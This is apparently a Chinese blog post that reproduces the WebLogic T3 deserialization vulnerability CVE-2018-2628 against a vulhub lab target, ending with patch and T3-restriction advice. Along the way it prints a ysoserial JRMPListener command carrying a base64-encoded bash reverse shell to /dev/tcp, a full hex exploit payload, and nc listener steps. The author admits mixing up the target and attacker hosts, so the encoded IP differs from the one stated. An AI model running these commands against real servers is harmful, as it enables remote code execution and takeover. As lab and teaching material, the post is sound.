Weblogic 反序列化命令执行漏洞(CVE-2018-2628)漏洞复现【vulhub靶场】

漏洞概述

WebLogic 里,攻击者利用其他rmi【远程方法调用】绕过weblogic黑名单限制,然后在将加载的内容利用readObject解析,从而造成反序列化远程代码执行该漏洞,该漏洞主要由于T3服务触发,所有开放weblogic控制台7001端口,默认会开启T3服务,攻击者发送构造好的T3协议数据,就可以获取目标服务器的权限。

在这里插入图片描述

影响版本

weblogic的任意文件上传漏洞影响版本相同:

Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.2
Weblogic 12.2.1.3

漏洞复现

靶机:192.168.11.128(vulhub)
攻击机:192.168.11.131

  1. 启动环境在这里插入图片描述

  2. 访问http://192.168.11.128:7001/,出现此页面说明启动成功。

在这里插入图片描述
3. 使用namp进行扫描,发现开启了T3协议。

nmap -n -v -p 7001,7002 192.168.11.128 --script=weblogic-t3-info

在这里插入图片描述

  1. 在攻击机中下载CVE-2018-2628检测漏洞脚本,将url.txt的内容修改如下:
    在这里插入图片描述
  2. 设置所要检测的ip, 并运行脚本
python CVE-2018-2628-MultiThreading.py 

其中可能会遇到以下问题

在这里插入图片描述

这是由于这个脚本需要在python2环境下运行,参照这篇文章 kali切换python版本

  1. 出现is vul CVE-2018-2628说明漏洞存在,接下来我们开始复现

在这里插入图片描述

  1. 启动JRMP Server,目的是为了使得触发漏洞后weblogic所在服务器可以远程调用执行特定的程序。他的作用就是一台存放payload的服务器,当我们攻击了存在漏洞的靶机后,靶机会到这台JRMP服务器去找这个payload执行命令。
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener [listen port] CommonsCollections1 [command]

#[listen port]是需要JRMP Server监听的端口,这个端口的作用是为了让目的主机上weblogic进行远程调用kali方法时,可以连接到我们自己的主机
#[command]为要执行的命令
  1. 以下我们执行反弹shell命令,我们需要注意需要对执行的命令进行需要进行一次编码,因为 Runtime.getRuntime().exec() 中不能使用管道符等bash需要的方法

反弹bash命令自动编码工具

bash -i >& /dev/tcp/192.168.11.131/8888 0>&1

在这里插入图片描述

java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 8888 Jdk7u21
 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExLjEyOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'

在这里插入图片描述
最后一行出现 * Opening JRMP listener on 8888,说明JRMP Server正在监听8888端口。

  1. 制造payload,在kali上打开一个新终端,使用ysoserial-0.1-cve-2018-2628-all.jar工具生成一个payload,因为要实现weblogic远程调用kali方法,所以就需要知道攻击机的ip与端口。
java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.11.131:8888 | xxd -p | tr -d $'\n' && echo

在这里插入图片描述
生成的payload如下:

aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f727872001
76a6176612e6c616e672e7265666c6563742e50726f7879e127da20cc1043cb0200014c0001687400254c6a61
76612f6c616e672f7265666c6563742f496e766f636174696f6e48616e646c65723b78707372002d6a6176612
e726d692e7365727665722e52656d6f74654f626a656374496e766f636174696f6e48616e646c657200000000
000000020200007872001c6a6176612e726d692e7365727665722e52656d6f74654f626a656374d361b4910c6
1331e03000078707737000a556e6963617374526566000e3139322e3136382e31312e313238000022b8ffffff
ff835fba0600000000000000000000000000000078

复制结果,替换weblogic_poc.py中的payload
在这里插入图片描述
并修改目标IP:
在这里插入图片描述

  1. 在攻击机中监听端口1234
nc -vnlp 1234

在这里插入图片描述

  1. 执行脚本weblogic_poc.py

在这里插入图片描述

  1. 反弹shell成功

在这里插入图片描述

由于我在操作过程中弄混了靶机和攻击机,导致靶机的ip端口被占用无法在本地环境打开,所以最后监听端口的步骤来自于参考文章。

漏洞修复

  • 官方补丁:T3协议漏洞加固的话可以打上官方最新的补丁,可使用正版软件许可账户登录 https://support.oracle.com,下载最新补丁。
  • 手工修复:控制T3协议的访问权限来临时阻断漏洞利用。
  • 禁用T3协议
  • 禁止T3端口对外开放, 或者限制可访问T3端口的IP来源

参考文章1

参考文章2

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

poggioxay

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值